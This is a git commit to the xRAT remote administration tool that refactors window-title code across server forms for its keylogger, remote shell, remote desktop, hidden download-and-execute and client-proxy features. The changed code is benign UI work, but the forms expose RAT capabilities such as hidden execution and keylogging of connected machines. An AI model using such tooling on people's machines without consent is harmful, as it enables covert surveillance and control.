Improved setting of window titles of new forms

This commit is contained in:
MaxXor 2015-06-25 22:22:45 +02:00
parent 46be99f316
commit a6ecbf55c1
21 changed files with 67 additions and 66 deletions

View File

@ -2,6 +2,7 @@
using System.IO;
using System.Linq;
using System.Text;
using xServer.Core.Networking;
namespace xServer.Core.Helper
{
@ -47,6 +48,16 @@ namespace xServer.Core.Helper
return string.Format("{0:0.##} {1}", len, _sizes[order]);
}
public static string GetWindowTitle(string title, Client c)
{
return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username , c.Value.PCName, c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString());
}
public static string GetWindowTitle(string title, int count)
{
return string.Format("{0} [Selected: {1}]", title, count);
}
public static int GetFileIcon(string extension)
{
if (string.IsNullOrEmpty(extension))

View File

@ -16,7 +16,7 @@ namespace xServer.Forms
lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/MaxXor/xRAT" });
lnkCredits.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/MaxXor/xRAT#credits" });
}
private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
lnkGithubPage.LinkVisited = true;

View File

@ -152,7 +152,7 @@
this.MinimizeBox = false;
this.Name = "FrmAddToAutostart";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "xRAT 2.0 - Add to Autostart";
this.Text = "Add to Autostart";
this.groupAutostartItem.ResumeLayout(false);
this.groupAutostartItem.PerformLayout();
this.ResumeLayout(false);

View File

@ -696,8 +696,8 @@
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmBuilder";
this.Text = "xRAT 2.0 - Builder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Builder";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing);
this.Load += new System.EventHandler(this.FrmBuilder_Load);
this.groupConnection.ResumeLayout(false);

View File

@ -1,6 +1,5 @@
using System;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using xServer.Core.Build;

View File

@ -1,5 +1,6 @@
using System;
using System.Windows.Forms;
using xServer.Core.Helper;
namespace xServer.Forms
{
@ -24,7 +25,7 @@ namespace xServer.Forms
private void FrmDownloadAndExecute_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Download & Execute [Selected: {0}]", _selectedClients);
this.Text = Helper.GetWindowTitle("Download & Execute", _selectedClients);
txtURL.Text = Core.Misc.DownloadAndExecute.URL;
chkRunHidden.Checked = Core.Misc.DownloadAndExecute.RunHidden;
}

View File

@ -1,10 +1,10 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Windows.Forms;
using xServer.Core.Commands;
using xServer.Core.Helper;
using xServer.Core.Misc;
using xServer.Core.Networking;
@ -31,8 +31,7 @@ namespace xServer.Forms
{
if (_connectClient != null)
{
this.Text = string.Format("xRAT 2.0 - File Manager [{0}:{1}]",
_connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("File Manager", _connectClient);
new Core.Packets.ServerPackets.Drives().Execute(_connectClient);
}
}

View File

@ -1,7 +1,7 @@
using System;
using System.IO;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Helper;
using xServer.Core.Misc;
using xServer.Core.Networking;
@ -28,8 +28,7 @@ namespace xServer.Forms
{
if (_connectClient != null)
{
this.Text = string.Format("xRAT 2.0 - Keylogger [{0}:{1}]", _connectClient.EndPoint.Address.ToString(),
_connectClient.EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("Keylogger", _connectClient);
if (!Directory.Exists(_path))
{

View File

@ -1,9 +1,8 @@
using System;
using System.CodeDom;
using System.Drawing;
using System.Threading;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Helper;
using xServer.Core.Networking;
namespace xServer.Forms
@ -25,14 +24,13 @@ namespace xServer.Forms
private void FrmRemoteDesktop_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Remote Desktop [{0}:{1}]", _connectClient.EndPoint.Address.ToString(),
_connectClient.EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("Remote Desktop", _connectClient);
panelTop.Left = (this.Width/2) - (panelTop.Width/2);
btnHide.Left = (panelTop.Width/2) - (btnHide.Width/2);
btnShow.Location = new System.Drawing.Point(377, 0);
btnShow.Location = new Point(377, 0);
btnShow.Left = (this.Width/2) - (btnShow.Width/2);
if (_connectClient.Value != null)

View File

@ -1,7 +1,7 @@
using System;
using System.Windows.Forms;
using xServer.Core;
using System.Drawing;
using xServer.Core.Helper;
using xServer.Core.Networking;
namespace xServer.Forms
@ -31,8 +31,7 @@ namespace xServer.Forms
this.DoubleBuffered = true;
if (_connectClient != null)
this.Text = string.Format("xRAT 2.0 - Remote Shell [{0}:{1}]",
_connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("Remote Shell", _connectClient);
}
private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e)

View File

@ -1,6 +1,5 @@
using System;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.ReverseProxy;
using xServer.Core.Helper;
using xServer.Core.Networking;
@ -11,7 +10,6 @@ namespace xServer.Forms
{
private readonly Client[] _clients;
private ReverseProxyServer SocksServer { get; set; }
private delegate void Invoky();
private ReverseProxyClient[] _openConnections;
private Timer _refreshTimer;
@ -28,15 +26,12 @@ namespace xServer.Forms
{
if (_clients.Length > 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [Load-Balancer is active]");
this.Text = "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]";
lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works";
}
else if (_clients.Length == 1)
{
this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _clients[0].EndPoint.Address.ToString(), _clients[0].EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("Reverse Proxy", _clients[0]);
lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer";
}
}
@ -131,18 +126,18 @@ namespace xServer.Forms
{
if (e.ItemIndex < _openConnections.Length)
{
ReverseProxyClient Connection = _openConnections[e.ItemIndex];
ReverseProxyClient connection = _openConnections[e.ItemIndex];
e.Item = new ListViewItem(new string[]
{
Connection.Client.EndPoint.ToString(),
Connection.Client.Value.Country,
Connection.TargetServer + (Connection.HostName.Length > 0 ? " (" + Connection.HostName + ")" : ""),
Connection.TargetPort.ToString(),
Helper.GetDataSize(Connection.LengthReceived),
Helper.GetDataSize(Connection.LengthSended),
Connection.Type.ToString()
}) { Tag = Connection };
connection.Client.EndPoint.ToString(),
connection.Client.Value.Country,
connection.TargetServer + (connection.HostName.Length > 0 ? " (" + connection.HostName + ")" : ""),
connection.TargetPort.ToString(),
Helper.GetDataSize(connection.LengthReceived),
Helper.GetDataSize(connection.LengthSended),
connection.Type.ToString()
}) { Tag = connection };
}
}
}

View File

@ -262,7 +262,7 @@
this.MinimizeBox = false;
this.Name = "FrmSettings";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "xRAT 2.0 - Settings";
this.Text = "Settings";
this.Load += new System.EventHandler(this.FrmSettings_Load);
((System.ComponentModel.ISupportInitialize)(this.ncPort)).EndInit();
this.ResumeLayout(false);

View File

@ -1,7 +1,6 @@
using System;
using System.Globalization;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Misc;
using xServer.Core.Networking;
using xServer.Settings;

View File

@ -1,5 +1,6 @@
using System;
using System.Windows.Forms;
using xServer.Core.Helper;
namespace xServer.Forms
{
@ -16,7 +17,7 @@ namespace xServer.Forms
private void FrmShowMessagebox_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Show Messagebox [Selected: {0}]", _selectedClients);
this.Text = Helper.GetWindowTitle("Show Messagebox", _selectedClients);
cmbMsgButtons.Items.AddRange(new string[]
{"AbortRetryIgnore", "OK", "OKCancel", "RetryCancel", "YesNo", "YesNoCancel"});

View File

@ -1,7 +1,7 @@
using System;
using System.Linq;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Helper;
using xServer.Core.Misc;
using xServer.Core.Networking;
@ -22,12 +22,11 @@ namespace xServer.Forms
lstStartupItems.ListViewItemSorter = _lvwColumnSorter;
}
private void FrmStartupManager_Load(object sender, System.EventArgs e)
private void FrmStartupManager_Load(object sender, EventArgs e)
{
if (_connectClient != null)
{
this.Text = string.Format("xRAT 2.0 - Startup Manager [{0}:{1}]",
_connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("Startup Manager", _connectClient);
AddGroups();
new Core.Packets.ServerPackets.GetStartupItems().Execute(_connectClient);
}

View File

@ -31,8 +31,8 @@
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStatistics));
this.tabControl = new System.Windows.Forms.TabControl();
this.tabTraffic = new System.Windows.Forms.TabPage();
this.tabClients = new System.Windows.Forms.TabPage();
this.lblTrafficStats = new System.Windows.Forms.Label();
this.tabClients = new System.Windows.Forms.TabPage();
this.lblClientStats = new System.Windows.Forms.Label();
this.tabControl.SuspendLayout();
this.tabTraffic.SuspendLayout();
@ -56,12 +56,22 @@
this.tabTraffic.Location = new System.Drawing.Point(4, 22);
this.tabTraffic.Name = "tabTraffic";
this.tabTraffic.Padding = new System.Windows.Forms.Padding(3);
this.tabTraffic.Size = new System.Drawing.Size(376, 253);
this.tabTraffic.Size = new System.Drawing.Size(470, 253);
this.tabTraffic.TabIndex = 0;
this.tabTraffic.Text = "Traffic Stats";
this.tabTraffic.UseVisualStyleBackColor = true;
this.tabTraffic.Paint += new System.Windows.Forms.PaintEventHandler(this.tabTraffic_Paint);
//
// lblTrafficStats
//
this.lblTrafficStats.AutoSize = true;
this.lblTrafficStats.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblTrafficStats.Location = new System.Drawing.Point(40, 13);
this.lblTrafficStats.Name = "lblTrafficStats";
this.lblTrafficStats.Size = new System.Drawing.Size(118, 21);
this.lblTrafficStats.TabIndex = 0;
this.lblTrafficStats.Text = "Traffic Statistics";
//
// tabClients
//
this.tabClients.Controls.Add(this.lblClientStats);
@ -74,16 +84,6 @@
this.tabClients.UseVisualStyleBackColor = true;
this.tabClients.Paint += new System.Windows.Forms.PaintEventHandler(this.tabClients_Paint);
//
// lblTrafficStats
//
this.lblTrafficStats.AutoSize = true;
this.lblTrafficStats.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblTrafficStats.Location = new System.Drawing.Point(40, 13);
this.lblTrafficStats.Name = "lblTrafficStats";
this.lblTrafficStats.Size = new System.Drawing.Size(118, 21);
this.lblTrafficStats.TabIndex = 0;
this.lblTrafficStats.Text = "Traffic Statistics";
//
// lblClientStats
//
this.lblClientStats.AutoSize = true;
@ -94,7 +94,7 @@
this.lblClientStats.TabIndex = 1;
this.lblClientStats.Text = "Client Statistics";
//
// frmStatistics
// FrmStatistics
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
@ -105,9 +105,9 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "frmStatistics";
this.Name = "FrmStatistics";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "xRAT 2.0 - Statistics";
this.Text = "Statistics";
this.Load += new System.EventHandler(this.FrmStatistics_Load);
this.tabControl.ResumeLayout(false);
this.tabTraffic.ResumeLayout(false);

View File

@ -1,8 +1,8 @@
using System;
using System.Linq;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Extensions;
using xServer.Core.Helper;
using xServer.Core.Networking;
namespace xServer.Forms
@ -23,8 +23,7 @@ namespace xServer.Forms
{
if (_connectClient != null)
{
this.Text = string.Format("xRAT 2.0 - System Information [{0}:{1}]",
_connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("System Information", _connectClient);
new Core.Packets.ServerPackets.GetSystemInfo().Execute(_connectClient);
if (_connectClient.Value != null)

View File

@ -1,6 +1,6 @@
using System;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Helper;
using xServer.Core.Misc;
using xServer.Core.Networking;
@ -26,8 +26,7 @@ namespace xServer.Forms
{
if (_connectClient != null)
{
this.Text = string.Format("xRAT 2.0 - Task Manager [{0}:{1}]",
_connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString());
this.Text = Helper.GetWindowTitle("Task Manager", _connectClient);
new Core.Packets.ServerPackets.GetProcesses().Execute(_connectClient);
}
}

View File

@ -1,6 +1,7 @@
using System;
using System.IO;
using System.Windows.Forms;
using xServer.Core.Helper;
namespace xServer.Forms
{
@ -16,7 +17,7 @@ namespace xServer.Forms
private void FrmUpdate_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Update [Selected: {0}]", _selectedClients);
this.Text = Helper.GetWindowTitle("Update Clients", _selectedClients);
if (Core.Misc.Update.UseDownload)
radioURL.Checked = true;
txtPath.Text = File.Exists(Core.Misc.Update.UploadPath) ? Core.Misc.Update.UploadPath : string.Empty;

View File

@ -1,6 +1,7 @@
using System;
using System.IO;
using System.Windows.Forms;
using xServer.Core.Helper;
namespace xServer.Forms
{
@ -16,7 +17,7 @@ namespace xServer.Forms
private void FrmUploadAndExecute_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Upload & Execute [Selected: {0}]", _selectedClients);
this.Text = Helper.GetWindowTitle("Upload & Execute", _selectedClients);
chkRunHidden.Checked = Core.Misc.UploadAndExecute.RunHidden;
}

View File

@ -1,5 +1,6 @@
using System;
using System.Windows.Forms;
using xServer.Core.Helper;
namespace xServer.Forms
{
@ -15,7 +16,7 @@ namespace xServer.Forms
private void FrmVisitWebsite_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Visit Website [Selected: {0}]", _selectedClients);
this.Text = Helper.GetWindowTitle("Visit Website", _selectedClients);
txtURL.Text = Core.Misc.VisitWebsite.URL;
chkVisitHidden.Checked = Core.Misc.VisitWebsite.Hidden;
}